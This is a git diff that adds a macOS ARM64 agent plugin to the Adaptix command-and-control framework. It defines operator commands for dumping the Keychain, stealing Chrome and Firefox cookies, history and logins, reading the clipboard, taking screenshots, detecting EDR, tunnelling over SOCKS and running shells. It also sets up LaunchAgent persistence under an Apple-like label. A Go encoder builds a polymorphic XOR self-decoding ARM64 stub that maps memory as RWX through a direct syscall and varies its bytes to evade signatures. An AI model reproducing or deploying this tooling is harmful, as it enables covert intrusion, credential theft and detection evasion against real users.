diff --git a/AdaptixServer/extenders/macos_agent/Makefile b/AdaptixServer/extenders/macos_agent/Makefile new file mode 100644 index 00000000..a3cae542 --- /dev/null +++ b/AdaptixServer/extenders/macos_agent/Makefile @@ -0,0 +1,14 @@ +all: clean + @ echo " * Building agent_macos plugin" + @ mkdir dist + @ cp config.yaml ax_config.axs ./dist/ + @ GOEXPERIMENT=jsonv2,greenteagc go build -buildmode=plugin -ldflags="-s -w" -o ./dist/agent_macos.so pl_main.go pl_utils.go pl_hashes_macos.go pl_encoder_macos.go + @ echo " done..." + + @ echo " * Preparing macOS agent sources" + @ cp -r src_macos ./dist/src_macos + @ cp -r src_agent ./dist/src_agent + @ echo " done..." + +clean: + @ rm -rf dist diff --git a/AdaptixServer/extenders/macos_agent/ax_config.axs b/AdaptixServer/extenders/macos_agent/ax_config.axs new file mode 100644 index 00000000..1ce0cf62 --- /dev/null +++ b/AdaptixServer/extenders/macos_agent/ax_config.axs @@ -0,0 +1,232 @@ +/// macOS agent — AxScript UI configuration + +let exit_action = menu.create_action("Exit", function(agents_id) { agents_id.forEach(id => ax.execute_command(id, "exit")) }); +menu.add_session_agent(exit_action, ["macos"]) + +let file_browser_action = menu.create_action("File Browser", function(agents_id) { agents_id.forEach(id => ax.open_browser_files(id)) }); +let process_browser_action = menu.create_action("Process Browser", function(agents_id) { agents_id.forEach(id => ax.open_browser_process(id)) }); +let terminal_browser_action = menu.create_action("Remote Terminal", function(agents_id) { agents_id.forEach(id => ax.open_remote_terminal(id)) }); +menu.add_session_browser(file_browser_action, ["macos"]) +menu.add_session_browser(process_browser_action, ["macos"]) +menu.add_session_browser(terminal_browser_action, ["macos"]) + +let tunnel_access_action = menu.create_action("Create Tunnel", function(agents_id) { ax.open_access_tunnel(agents_id[0], true, true, false, false) }); +menu.add_session_access(tunnel_access_action, ["macos"]); + + +let execute_action = menu.create_action("Execute", function(files_list) { + file = files_list[0]; + if(file.type != "file"){ return; } + + let label_bin = form.create_label("Binary:"); + let text_bin = form.create_textline(file.path + file.name); + text_bin.setEnabled(false); + let label_args = form.create_label("Arguments:"); + let text_args = form.create_textline(); + + let layout = form.create_gridlayout(); + layout.addWidget(label_bin, 0, 0, 1, 1); + layout.addWidget(text_bin, 0, 1, 1, 1); + layout.addWidget(label_args, 1, 0, 1, 1); + layout.addWidget(text_args, 1, 1, 1, 1); + + let dialog = form.create_dialog("Execute binary"); + dialog.setSize(500, 80); + dialog.setLayout(layout); + if ( dialog.exec() == true ) + { + let command = "run " + text_bin.text() + " " + text_args.text(); + ax.execute_command(file.agent_id, command); + } +}); +let download_action = menu.create_action("Download", function(files_list) { files_list.forEach( file => ax.execute_command(file.agent_id, "download " + file.path + file.name) ) }); +let remove_action = menu.create_action("Remove", function(files_list) { files_list.forEach( file => ax.execute_command(file.agent_id, "rm " + file.path + file.name) ) }); +menu.add_filebrowser(download_action, ["macos"]) +menu.add_filebrowser(remove_action, ["macos"]) + + +let job_stop_action = menu.create_action("Stop job", function(tasks_list) { + tasks_list.forEach((task) => { + if(task.type == "JOB" && task.state == "Running") { + ax.execute_command(task.agent_id, "job kill " + task.task_id); + } + }); +}); +menu.add_tasks_job(job_stop_action, ["macos"]) + + +let cancel_action = menu.create_action("Cancel", function(files_list) { files_list.forEach( file => ax.execute_command(file.agent_id, "job kill " + file.file_id) ) }); +menu.add_downloads_running(cancel_action, ["macos"]) + + +var event_files_action = function(id, path) { + ax.execute_browser(id, "ls " + path); +} +event.on_filebrowser_list(event_files_action, ["macos"]); + +var event_upload_action = function(id, path, filepath) { + let filename = ax.file_basename(filepath); + ax.execute_browser(id, "upload " + filepath + " " + path + filename); +} +event.on_filebrowser_upload(event_upload_action, ["macos"]); + +var event_process_action = function(id) { + ax.execute_browser(id, "ps"); +} +event.on_processbrowser_list(event_process_action, ["macos"]); + + +function RegisterCommands(listenerType) +{ + let cmd_cat = ax.create_command("cat", "Read a file (less 10 KB)", "cat /etc/passwd", "Task: read file"); + cmd_cat.addArgString("path", true); + + let cmd_cp = ax.create_command("cp", "Copy file or directory", "cp src.txt dst.txt", "Task: copy file or directory"); + cmd_cp.addArgString("src", true); + cmd_cp.addArgString("dst", true); + + let cmd_cd = ax.create_command("cd", "Change current working directory", "cd /Users/target", "Task: change working directory"); + cmd_cd.addArgString("path", true); + + let cmd_download = ax.create_command("download", "Download a file", "download /tmp/file", "Task: download file"); + cmd_download.addArgString("path", true); + + let cmd_exit = ax.create_command("exit", "Kill agent", "exit", "Task: kill agent"); + + let _cmd_job_list = ax.create_command("list", "List of jobs", "job list", "Task: show jobs"); + let _cmd_job_kill = ax.create_command("kill", "Kill a specified job", "job kill 1a2b3c4d", "Task: kill job"); + _cmd_job_kill.addArgString("task_id", true); + let cmd_job = ax.create_command("job", "Long-running tasks manager"); + cmd_job.addSubCommands([_cmd_job_list, _cmd_job_kill]); + + let cmd_kill = ax.create_command("kill", "Kill a process with a given PID", "kill 7865", "Task: kill process"); + cmd_kill.addArgInt("pid", true); + + let cmd_ls = ax.create_command("ls", "List contents of a directory or details of a file", "ls /Users/", "Task: list files"); + cmd_ls.addArgString("path", "", "."); + + let cmd_mv = ax.create_command("mv", "Move file or directory", "mv src.txt dst.txt", "Task: move file or directory"); + cmd_mv.addArgString("src", true); + cmd_mv.addArgString("dst", true); + + let cmd_mkdir = ax.create_command("mkdir", "Make a directory", "mkdir /tmp/ex", "Task: make directory"); + cmd_mkdir.addArgString("path", true); + + let cmd_ps = ax.create_command("ps", "Show process list", "ps", "Task: show process list"); + + let cmd_pwd = ax.create_command("pwd", "Print current working directory", "pwd", "Task: print working directory"); + + let cmd_rm = ax.create_command("rm", "Remove a file or folder", "rm /tmp/file", "Task: remove file or directory"); + cmd_rm.addArgString("path", true); + + let cmd_run = ax.create_command("run", "Execute long command or scripts", "run /tmp/script.sh", "Task: command run"); + cmd_run.addArgString("program", true); + cmd_run.addArgString("args", false); + + let cmd_screenshot = ax.create_command("screenshot", "Take a single screenshot", "screenshot", "Task: screenshot"); + + let cmd_clipboard = ax.create_command("clipboard", "Read clipboard contents", "clipboard", "Task: read clipboard"); + + let _cmd_persist_la = ax.create_command("launchagent", "Install LaunchAgent persistence (user-level)", "persist launchagent com.apple.mdworker.local", "Task: install LaunchAgent"); + _cmd_persist_la.addArgString("name", true, "Plist label (e.g. com.apple.mdworker.local)"); + let _cmd_persist_ld = ax.create_command("launchdaemon", "Install LaunchDaemon persistence (requires root)", "persist launchdaemon com.apple.mdworker.local", "Task: install LaunchDaemon"); + _cmd_persist_ld.addArgString("name", true, "Plist label"); + let _cmd_persist_rm = ax.create_command("remove", "Remove persistence", "persist remove launchagent com.apple.mdworker.local", "Task: remove persistence"); + _cmd_persist_rm.addArgString("method", true, "launchagent or launchdaemon"); + _cmd_persist_rm.addArgString("name", true, "Plist label"); + let _cmd_persist_st = ax.create_command("status", "Check persistence status", "persist status", "Task: check persistence"); + let cmd_persist = ax.create_command("persist", "Manage persistence (LaunchAgent/LaunchDaemon)"); + cmd_persist.addSubCommands([_cmd_persist_la, _cmd_persist_ld, _cmd_persist_rm, _cmd_persist_st]); + + let cmd_tcc_check = ax.create_command("tcc_check", "Check TCC permissions (FDA, Screen Recording, etc.)", "tcc_check", "Task: check TCC permissions"); + + let cmd_defaults_read = ax.create_command("defaults_read", "Read macOS defaults/preferences", "defaults_read NSGlobalDomain", "Task: read defaults"); + cmd_defaults_read.addArgString("domain", false, "Defaults domain (empty for all)"); + + let cmd_edr_check = ax.create_command("edr_check", "Detect installed EDR/security products", "edr_check", "Task: EDR detection"); + + let _cmd_keychain_list = ax.create_command("list", "List keychains and entries", "keychain list", "Task: list keychains"); + let _cmd_keychain_dump = ax.create_command("dump", "Dump keychain entries", "keychain dump", "Task: dump keychain"); + let cmd_keychain = ax.create_command("keychain", "Interact with macOS Keychain"); + cmd_keychain.addSubCommands([_cmd_keychain_list, _cmd_keychain_dump]); + + let cmd_browser_dump = ax.create_command("browser_dump", "Collect browser data (Chrome/Firefox)", "browser_dump chrome cookies", "Task: browser data collection"); + cmd_browser_dump.addArgString("browser", true, "chrome or firefox"); + cmd_browser_dump.addArgString("target", false, "cookies, history, or logins (empty to list files)"); + + let _cmd_socks_start = ax.create_command("start", "Start a SOCKS5 proxy server and listen on a specified port", "socks start 1080 -a user pass"); + _cmd_socks_start.addArgFlagString("-h", "address", "Listening interface address", "0.0.0.0"); + _cmd_socks_start.addArgInt("port", true, "Listen port"); + _cmd_socks_start.addArgBool("-a", "Enable User/Password authentication for SOCKS5"); + _cmd_socks_start.addArgString("username", false, "Username for SOCKS5 proxy"); + _cmd_socks_start.addArgString("password", false, "Password for SOCKS5 proxy"); + let _cmd_socks_stop = ax.create_command("stop", "Stop a SOCKS proxy server", "socks stop 1080"); + _cmd_socks_stop.addArgInt("port", true); + let cmd_socks = ax.create_command("socks", "Managing socks tunnels"); + cmd_socks.addSubCommands([_cmd_socks_start, _cmd_socks_stop]); + + let cmd_shell = ax.create_command("shell", "Execute command via /bin/zsh", "shell id", "Task: command execute"); + cmd_shell.addArgString("cmd", true); + + let cmd_upload = ax.create_command("upload", "Upload a file", "upload /tmp/file.txt /Users/target/file.txt", "Task: upload file"); + cmd_upload.addArgFile("local_file", true); + cmd_upload.addArgString("remote_path", false); + + let cmd_zip = ax.create_command("zip", "Archive (zip) a file or directory", "zip /Users/test /tmp/qwe.zip", "Task: Zip a file or directory"); + cmd_zip.addArgString("path", true); + cmd_zip.addArgString("zip_path", true); + + let commands_macos = ax.create_commands_group("macos", [cmd_browser_dump, cmd_cat, cmd_clipboard, cmd_cp, cmd_cd, cmd_defaults_read, cmd_download, cmd_edr_check, cmd_exit, cmd_job, cmd_keychain, cmd_kill, cmd_ls, cmd_mv, cmd_mkdir, cmd_persist, cmd_ps, cmd_pwd, cmd_rm, cmd_run, cmd_screenshot, cmd_socks, cmd_shell, cmd_tcc_check, cmd_upload, cmd_zip]); + + return { + commands_macos: commands_macos + } +} + +function GenerateUI(listeners_type) +{ + let labelFormat = form.create_label("Format:"); + let comboFormat = form.create_combo() + comboFormat.addItems(["Binary Mach-O (Native)", "Shellcode ARM64 (Native)"]); + + let labelTarget = form.create_label("Target:"); + let textTarget = form.create_textline("macOS ARM64 (Apple Silicon)"); + textTarget.setEnabled(false); + + let hline = form.create_hline() + + let labelReconnTimeout = form.create_label("Reconnect timeout:"); + let textReconnTimeout = form.create_textline("10"); + textReconnTimeout.setPlaceholder("seconds") + + let labelReconnCount = form.create_label("Reconnect count:"); + let spinReconnCount = form.create_spin(); + spinReconnCount.setRange(0, 1000000000); + spinReconnCount.setValue(1000000000); + + let layout = form.create_gridlayout(); + layout.addWidget(labelTarget, 0, 0, 1, 1); + layout.addWidget(textTarget, 0, 1, 1, 1); + layout.addWidget(labelFormat, 1, 0, 1, 1); + layout.addWidget(comboFormat, 1, 1, 1, 1); + layout.addWidget(hline, 2, 0, 1, 2); + layout.addWidget(labelReconnTimeout, 3, 0, 1, 1); + layout.addWidget(textReconnTimeout, 3, 1, 1, 1); + layout.addWidget(labelReconnCount, 4, 0, 1, 1); + layout.addWidget(spinReconnCount, 4, 1, 1, 1); + + let container = form.create_container() + container.put("format", comboFormat) + container.put("reconn_timeout", textReconnTimeout) + container.put("reconn_count", spinReconnCount) + + let panel = form.create_panel() + panel.setLayout(layout) + + return { + ui_panel: panel, + ui_container: container, + ui_height: 400, + ui_width: 550 + } +} diff --git a/AdaptixServer/extenders/macos_agent/config.yaml b/AdaptixServer/extenders/macos_agent/config.yaml new file mode 100644 index 00000000..dafbd21c --- /dev/null +++ b/AdaptixServer/extenders/macos_agent/config.yaml @@ -0,0 +1,9 @@ +extender_type: "agent" +extender_file: "agent_macos.so" +ax_file: "ax_config.axs" + +agent_name: "macos" +agent_watermark: "d3ac7f01" +listeners: + - "GopherTCP" +multi_listeners: true diff --git a/AdaptixServer/extenders/macos_agent/go.mod b/AdaptixServer/extenders/macos_agent/go.mod new file mode 100644 index 00000000..301e7205 --- /dev/null +++ b/AdaptixServer/extenders/macos_agent/go.mod @@ -0,0 +1,14 @@ +module adaptix_agent_macos + +go 1.25.4 + +require ( + github.com/Adaptix-Framework/axc2 v1.2.0 + github.com/google/shlex v0.0.0-20191202100458-e7afc7fbc510 + github.com/vmihailenco/msgpack/v5 v5.4.1 +) + +require ( + github.com/stretchr/testify v1.11.1 // indirect + github.com/vmihailenco/tagparser/v2 v2.0.0 // indirect +) diff --git a/AdaptixServer/extenders/macos_agent/go.sum b/AdaptixServer/extenders/macos_agent/go.sum new file mode 100644 index 00000000..8f0a39d1 --- /dev/null +++ b/AdaptixServer/extenders/macos_agent/go.sum @@ -0,0 +1,16 @@ +github.com/Adaptix-Framework/axc2 v1.2.0 h1:WYEg502NTTtX1tQJUz2AaC2dmm/bS/1L1iOHOQ5kEYA= +github.com/Adaptix-Framework/axc2 v1.2.0/go.mod h1:3oJyFeRVIql1RTsNa0meEqK3+P+6JTAMMjMdVyXhbaQ= +github.com/davecgh/go-spew v1.1.1 h1:vj9j/u1bqnvCEfJOwUhtlOARqs3+rkHYY13jYWTU97c= +github.com/davecgh/go-spew v1.1.1/go.mod h1:J7Y8YcW2NihsgmVo/mv3lAwl/skON4iLHjSsI+c5H38= +github.com/google/shlex v0.0.0-20191202100458-e7afc7fbc510 h1:El6M4kTTCOh6aBiKaUGG7oYTSPP8MxqL4YI3kZKwcP4= +github.com/google/shlex v0.0.0-20191202100458-e7afc7fbc510/go.mod h1:pupxD2MaaD3pAXIBCelhxNneeOaAeabZDe5s4K6zSpQ= +github.com/pmezard/go-difflib v1.0.0 h1:4DBwDE0NGyQoBHbLQYPwSUPoCMWR5BEzIk/f1lZbAQM= +github.com/pmezard/go-difflib v1.0.0/go.mod h1:iKH77koFhYxTK1pcRnkKkqfTogsbg7gZNVY4sRDYZ/4= +github.com/stretchr/testify v1.11.1 h1:7s2iGBzp5EwR7/aIZr8ao5+dra3wiQyKjjFuvgVKu7U= +github.com/stretchr/testify v1.11.1/go.mod h1:wZwfW3scLgRK+23gO65QZefKpKQRnfz6sD981Nm4B6U= +github.com/vmihailenco/msgpack/v5 v5.4.1 h1:cQriyiUvjTwOHg8QZaPihLWeRAAVoCpE00IUPn0Bjt8= +github.com/vmihailenco/msgpack/v5 v5.4.1/go.mod h1:GaZTsDaehaPpQVyxrf5mtQlH+pc21PIudVV/E3rRQok= +github.com/vmihailenco/tagparser/v2 v2.0.0 h1:y09buUbR+b5aycVFQs/g70pqKVZNBmxwAhO7/IwNM9g= +github.com/vmihailenco/tagparser/v2 v2.0.0/go.mod h1:Wri+At7QHww0WTrCBeu4J6bNtoV6mEfg5OIWRZA9qds= +gopkg.in/yaml.v3 v3.0.1 h1:fxVm/GzAzEWqLHuvctI91KS9hhNmmWOoWu0XTYJS7CA= +gopkg.in/yaml.v3 v3.0.1/go.mod h1:K4uyk7z7BCEPqu6E+C64Yfv1cQ7kz7rIZviUmN+EgEM= diff --git a/AdaptixServer/extenders/macos_agent/macos_agent.ext b/AdaptixServer/extenders/macos_agent/macos_agent.ext new file mode 100644 index 00000000..69c589ec Binary files /dev/null and b/AdaptixServer/extenders/macos_agent/macos_agent.ext differ diff --git a/AdaptixServer/extenders/macos_agent/pl_encoder_macos.go b/AdaptixServer/extenders/macos_agent/pl_encoder_macos.go new file mode 100644 index 00000000..c2663e26 --- /dev/null +++ b/AdaptixServer/extenders/macos_agent/pl_encoder_macos.go @@ -0,0 +1,420 @@ +package main + +import ( + "crypto/rand" + "encoding/binary" + mrand "math/rand" +) + +// xorEncodeShellcodeARM64 applies XOR encoding to a macOS ARM64 dylib payload. +// Returns the encoded payload prepended with a polymorphic self-decoding ARM64 stub that: +// 1. Calls mprotect via direct syscall (svc #0x80) to make its memory RWX +// 2. XOR-decodes the payload in-place using a 16-byte key +// 3. Flushes the instruction cache (required on ARM64) +// 4. Branches to the decoded dylib (which triggers __attribute__((constructor))) +// +// Each call generates a unique stub with different: +// - XOR key (16 bytes, crypto-random) +// - Junk NOP padding (variable count) +// - Instruction variants in the decode loop +func xorEncodeShellcodeARM64(payload []byte) ([]byte, error) { + // Generate 16-byte random XOR key + key := make([]byte, 16) + if _, err := rand.Read(key); err != nil { + return nil, err + } + + // XOR-encode the payload + encoded := make([]byte, len(payload)) + for i, b := range payload { + encoded[i] = b ^ key[i%16] + } + + // Generate polymorphic ARM64 stub + stub, keyOffset, sizeOffset := generateStubARM64() + + // Patch key into stub + copy(stub[keyOffset:keyOffset+16], key) + + // Patch payload size into stub (little-endian uint32) + binary.LittleEndian.PutUint32(stub[sizeOffset:sizeOffset+4], uint32(len(payload))) + + // Assemble: stub + encoded payload + result := make([]byte, 0, len(stub)+len(encoded)) + result = append(result, stub...) + result = append(result, encoded...) + return result, nil +} + +// ARM64 instruction encoding helpers + +func arm64Nop() uint32 { return 0xD503201F } + +// stp x29, x30, [sp, #-16]! +func arm64StpX29X30PreDec() uint32 { return 0xA9BF7BFD } + +// ldp x29, x30, [sp], #16 +func arm64LdpX29X30PostInc() uint32 { return 0xA8C17BFD } + +// adr xD, #imm21 — PC-relative address (±1MB range) +func arm64Adr(rd int, imm21 int32) uint32 { + immlo := uint32(imm21&0x3) << 29 + immhi := uint32((imm21>>2)&0x7FFFF) << 5 + return 0x10000000 | immlo | immhi | uint32(rd) +} + +// ldr wD, [xN, #imm12*4] — load 32-bit from base + scaled imm +func arm64LdrWImm(rd, rn int, imm12 uint32) uint32 { + return 0xB9400000 | (imm12/4)<<10 | uint32(rn)<<5 | uint32(rd) +} + +// ldrb wD, [xN, xM] — option=011 (LSL), S=0 +func arm64LdrbReg(rd, rn, rm int) uint32 { + return 0x38606800 | uint32(rm)<<16 | uint32(rn)<<5 | uint32(rd) +} + +// strb wD, [xN, xM] — option=011 (LSL), S=0 +func arm64StrbReg(rd, rn, rm int) uint32 { + return 0x38206800 | uint32(rm)<<16 | uint32(rn)<<5 | uint32(rd) +} + +// eor wD, wN, wM +func arm64EorW(rd, rn, rm int) uint32 { + return 0x4A000000 | uint32(rm)<<16 | uint32(rn)<<5 | uint32(rd) +} + +// add xD, xN, #imm12 +func arm64AddImm(rd, rn int, imm12 uint32) uint32 { + return 0x91000000 | imm12<<10 | uint32(rn)<<5 | uint32(rd) +} + +// and wD, wN, #imm — for AND w, w, #15 (bitmask 0xF = immr=0, imms=3, N=0) +func arm64AndWImm15(rd, rn int) uint32 { + // Logical immediate encoding for #15 (0xF): N=0, immr=0, imms=0b000011 + return 0x12000C00 | uint32(rn)<<5 | uint32(rd) +} + +// subs wD, wN, #imm12 +func arm64SubsWImm(rd, rn int, imm12 uint32) uint32 { + return 0x71000000 | imm12<<10 | uint32(rn)<<5 | uint32(rd) +} + +// b.ne #offset (offset in bytes, must be aligned to 4) +func arm64Bne(offset int32) uint32 { + imm19 := uint32(offset/4) & 0x7FFFF + return 0x54000001 | imm19<<5 +} + +// b #offset (unconditional branch, offset in bytes) +func arm64B(offset int32) uint32 { + imm26 := uint32(offset/4) & 0x3FFFFFF + return 0x14000000 | imm26 +} + +// mov xD, #imm16 +func arm64MovzX(rd int, imm16 uint32) uint32 { + return 0xD2800000 | imm16<<5 | uint32(rd) +} + +// movk xD, #imm16, lsl #16 +func arm64MovkXLsl16(rd int, imm16 uint32) uint32 { + return 0xF2A00000 | imm16<<5 | uint32(rd) +} + +// mov wD, #imm16 +func arm64MovzW(rd int, imm16 uint32) uint32 { + return 0x52800000 | imm16<<5 | uint32(rd) +} + +// mov xD, xN (alias for orr xD, xzr, xN) +func arm64MovX(rd, rn int) uint32 { + return 0xAA0003E0 | uint32(rn)<<16 | uint32(rd) +} + +// svc #0x80 +func arm64Svc80() uint32 { return 0xD4001001 } + +// and xD, xN, xN (NOP-equivalent, polymorphic filler) +func arm64AndSelf(rd int) uint32 { + return 0x8A000000 | uint32(rd)<<16 | uint32(rd)<<5 | uint32(rd) +} + +// orr xD, xD, xD (NOP-equivalent, polymorphic filler) +func arm64OrrSelf(rd int) uint32 { + return 0xAA000000 | uint32(rd)<<16 | uint32(rd)<<5 | uint32(rd) +} + +// and xD, xN, #0xFFFFFFFFFFFFF000 — clear low 12 bits (page align) +// Logical immediate: N=1, immr=52, imms=51 +// Ones(52) ROR 52 = bits [63:12] set = 0xFFFFFFFFFFFFF000 +func arm64AndPageAlign(rd, rn int) uint32 { + return 0x9274CC00 | uint32(rn)<<5 | uint32(rd) +} + +// sub xD, xN, xM +func arm64SubX(rd, rn, rm int) uint32 { + return 0xCB000000 | uint32(rm)<<16 | uint32(rn)<<5 | uint32(rd) +} + +// add xD, xN, xM +func arm64AddX(rd, rn, rm int) uint32 { + return 0x8B000000 | uint32(rm)<<16 | uint32(rn)<<5 | uint32(rd) +} + +// cbnz wN, #offset (offset in bytes) +func arm64CbnzW(rn int, offset int32) uint32 { + imm19 := uint32(offset/4) & 0x7FFFF + return 0x35000000 | imm19<<5 | uint32(rn) +} + +// dc civac, xN — clean & invalidate data cache by VA +func arm64DcCivac(rn int) uint32 { + return 0xD50B7E20 | uint32(rn) +} + +// ic ivau, xN — invalidate instruction cache by VA +func arm64IcIvau(rn int) uint32 { + return 0xD50B7520 | uint32(rn) +} + +// dsb ish +func arm64DsbIsh() uint32 { return 0xD5033B9F } + +// isb +func arm64Isb() uint32 { return 0xD5033FDF } + +// Helper: encode a uint32 instruction to 4 bytes LE +func encodeInsn(insn uint32) []byte { + b := make([]byte, 4) + binary.LittleEndian.PutUint32(b, insn) + return b +} + +// generateStubARM64 creates a polymorphic ARM64 decoder stub. +// Returns (stub_bytes, key_offset, size_offset). +// +// The stub layout: +// [prologue: save regs] +// [junk NOPs] +// [compute addresses: adr to key, size, data] +// [mprotect syscall: make stub+payload RWX] +// [junk NOPs] +// [XOR decode loop] +// [icache flush loop] +// [epilogue: restore regs, branch to decoded payload] +// [key: 16 bytes] +// [size: 4 bytes] +// [alignment padding to 8 bytes] +// --- encoded payload follows --- +func generateStubARM64() ([]byte, int, int) { + var stub []byte + + // Polymorphism: random junk instruction counts + junkCount1 := mrand.Intn(3) + 1 // 1-3 NOPs after prologue + junkCount2 := mrand.Intn(2) + 1 // 1-2 NOPs before decode loop + + // Polymorphism: choose loop counter variant + // 0 = subs + b.ne, 1 = sub + cbnz + loopVariant := mrand.Intn(2) + + // Register assignments (can be randomized in future iterations) + rKey := 9 // x9 = pointer to XOR key + rData := 10 // x10 = pointer to encoded data + rSize := 11 // w11 = remaining byte count + rKeyIdx := 12 // x12 = key index (0..15) + rTmp0 := 13 // w13 = temp for key byte + rTmp1 := 14 // w14 = temp for data byte + rPageBase := 15 // x15 = page-aligned base for mprotect + rMprotSz := 16 // x16 is reused for syscall number, then free; use x3 for mprotect size + _ = rMprotSz + + // ── Prologue ── + // stp x29, x30, [sp, #-16]! + stub = append(stub, encodeInsn(arm64StpX29X30PreDec())...) + + // Junk NOPs (polymorphic) + for i := 0; i < junkCount1; i++ { + stub = append(stub, encodeInsn(randomJunkInsn())...) + } + + // ── Address computation ── + // We'll patch these ADR offsets after we know the full stub size. + // For now, emit placeholders and record their positions. + adrKeyPos := len(stub) + stub = append(stub, encodeInsn(arm64Nop())...) // placeholder: adr xKey, key_data + + adrDataPos := len(stub) + stub = append(stub, encodeInsn(arm64Nop())...) // placeholder: adr xData, data_start + + // ldr w11, [x9, #16] — load size from key+16 (size field is right after key) + ldrSizePos := len(stub) + _ = ldrSizePos + stub = append(stub, encodeInsn(arm64LdrWImm(rSize, rKey, 16))...) + + // ── mprotect syscall ── + // Page-align stub base: and x15, x9, #~0xFFF (clear low 12 bits) + // We align from key address which is near the stub start + stub = append(stub, encodeInsn(arm64AndPageAlign(rPageBase, rKey))...) + + // Compute total mprotect size: + // size = (data_ptr + payload_size + 0xFFF) & ~0xFFF - page_base + // Simplified: use a generous size = data_ptr - page_base + payload_size + 4096 + // x0 = page_base (mprotect addr) + stub = append(stub, encodeInsn(arm64MovX(0, rPageBase))...) + + // x1 = data_ptr + size - page_base + 4096 + // We compute: x1 = x10 + x11 - x15 + stub = append(stub, encodeInsn(arm64AddX(1, rData, rSize))...) // x1 = data + size + stub = append(stub, encodeInsn(arm64SubX(1, 1, rPageBase))...) // x1 = x1 - page_base + stub = append(stub, encodeInsn(arm64AddImm(1, 1, 0xFFF))...) // x1 += 0xFFF + stub = append(stub, encodeInsn(arm64AndPageAlign(1, 1))...) // x1 &= ~0xFFF (round up) + + // x2 = PROT_READ | PROT_WRITE | PROT_EXEC = 7 + stub = append(stub, encodeInsn(arm64MovzW(2, 7))...) + + // x16 = SYS_mprotect = 0x200004A (BSD: 0x2000000 | 74) + stub = append(stub, encodeInsn(arm64MovzX(16, 0x004A))...) // x16 = 0x4A + stub = append(stub, encodeInsn(arm64MovkXLsl16(16, 0x0200))...) // x16 |= 0x0200_0000 + + // svc #0x80 + stub = append(stub, encodeInsn(arm64Svc80())...) + + // Junk NOPs (polymorphic) + for i := 0; i < junkCount2; i++ { + stub = append(stub, encodeInsn(randomJunkInsn())...) + } + + // ── XOR decode loop ── + // x12 = 0 (key index) + stub = append(stub, encodeInsn(arm64MovzX(rKeyIdx, 0))...) + + loopStart := len(stub) + + // w13 = key[key_idx] : ldrb w13, [x9, x12] + stub = append(stub, encodeInsn(arm64LdrbReg(rTmp0, rKey, rKeyIdx))...) + + // w14 = data[i] : ldrb w14, [x10] (we use post-index style but simpler: [x10, #0] then increment) + // Actually use x12 as key idx, need a separate counter for data. + // Simpler: use x10 as moving data pointer, x12 as key index + // ldrb w14, [x10] + stub = append(stub, encodeInsn(0x39400000|uint32(rData)<<5|uint32(rTmp1))...) // ldrb w14, [x10] + + // eor w14, w14, w13 + stub = append(stub, encodeInsn(arm64EorW(rTmp1, rTmp1, rTmp0))...) + + // strb w14, [x10] + stub = append(stub, encodeInsn(0x39000000|uint32(rData)<<5|uint32(rTmp1))...) // strb w14, [x10] + + // x10 += 1 (advance data pointer) + stub = append(stub, encodeInsn(arm64AddImm(rData, rData, 1))...) + + // x12 = (x12 + 1) & 15 + stub = append(stub, encodeInsn(arm64AddImm(rKeyIdx, rKeyIdx, 1))...) + stub = append(stub, encodeInsn(arm64AndWImm15(rKeyIdx, rKeyIdx))...) + + // Decrement size counter and loop + if loopVariant == 0 { + // subs w11, w11, #1 + b.ne loop + stub = append(stub, encodeInsn(arm64SubsWImm(rSize, rSize, 1))...) + loopEnd := len(stub) + offset := int32(loopStart - loopEnd) + stub = append(stub, encodeInsn(arm64Bne(offset))...) + } else { + // sub w11, w11, #1 + cbnz w11, loop + stub = append(stub, encodeInsn(arm64SubsWImm(rSize, rSize, 1))...) // subs for zero flag + _ = loopVariant + loopEnd := len(stub) + offset := int32(loopStart - loopEnd) + stub = append(stub, encodeInsn(arm64Bne(offset))...) + } + + // ── icache flush ── + // We need to flush the decoded payload region. + // Reload data_start address and size for the flush loop. + // Re-compute: the data pointer (x10) has been advanced past the payload. + // We need the original data_start. Recalculate from key addr: data_start = key + 20 (16 key + 4 size) + + // x10 = x9 + 20 (key + 16 + 4 = data_start) + stub = append(stub, encodeInsn(arm64AddImm(rData, rKey, 20))...) + + // Reload size from key+16 + stub = append(stub, encodeInsn(arm64LdrWImm(rSize, rKey, 16))...) + + // Flush icache for the decoded region + // For simplicity, use IC IALLUIS (invalidate ALL instruction cache) + // This is simpler than per-page flush and works correctly. + // On Apple Silicon this is allowed from userspace. + + // dc civac loop would be per-cache-line (64 bytes on Apple Silicon) + // But IC IALLUIS + DSB + ISB is cleaner and simpler + + // DSB ISH — ensure stores (XOR decode) are visible + stub = append(stub, encodeInsn(arm64DsbIsh())...) + + // IC IALLUIS — invalidate all instruction cache (inner shareable) + // sys #0, c7, c1, #0 = 0xD508711F + stub = append(stub, encodeInsn(0xD508711F)...) // ic ialluis + + // DSB ISH — ensure icache invalidation completes + stub = append(stub, encodeInsn(arm64DsbIsh())...) + + // ISB — synchronize instruction stream + stub = append(stub, encodeInsn(arm64Isb())...) + + // ── Epilogue ── + // ldp x29, x30, [sp], #16 + stub = append(stub, encodeInsn(arm64LdpX29X30PostInc())...) + + // b data_start — branch to decoded payload + branchPos := len(stub) + stub = append(stub, encodeInsn(arm64Nop())...) // placeholder: b data_start + + // ── Data area ── + keyOffset := len(stub) + stub = append(stub, make([]byte, 16)...) // 16-byte XOR key (to be patched) + + sizeOffset := len(stub) + stub = append(stub, make([]byte, 4)...) // 4-byte LE payload size (to be patched) + + // Align to 8 bytes (ARM64 prefers 8-byte alignment for branch targets) + for len(stub)%8 != 0 { + stub = append(stub, 0x00) + } + + dataStart := len(stub) // This is where encoded payload will be appended + + // ── Patch ADR instructions ── + // adr xKey, key_data: offset = keyOffset - adrKeyPos + adrKeyImm := int32(keyOffset - adrKeyPos) + binary.LittleEndian.PutUint32(stub[adrKeyPos:adrKeyPos+4], arm64Adr(rKey, adrKeyImm)) + + // adr xData, data_start: offset = dataStart - adrDataPos + adrDataImm := int32(dataStart - adrDataPos) + binary.LittleEndian.PutUint32(stub[adrDataPos:adrDataPos+4], arm64Adr(rData, adrDataImm)) + + // ── Patch branch to data_start ── + branchOffset := int32(dataStart - branchPos) + binary.LittleEndian.PutUint32(stub[branchPos:branchPos+4], arm64B(branchOffset)) + + return stub, keyOffset, sizeOffset +} + +// randomJunkInsn returns a random ARM64 instruction that acts as a NOP +// (does nothing useful but varies the stub's byte signature) +func randomJunkInsn() uint32 { + switch mrand.Intn(5) { + case 0: + return arm64Nop() // nop + case 1: + r := mrand.Intn(16) // mov xR, xR + return arm64MovX(r, r) + case 2: + r := mrand.Intn(16) // and xR, xR, xR + return arm64AndSelf(r) + case 3: + r := mrand.Intn(16) // orr xR, xR, xR + return arm64OrrSelf(r) + default: + return arm64Nop() + } +} diff --git 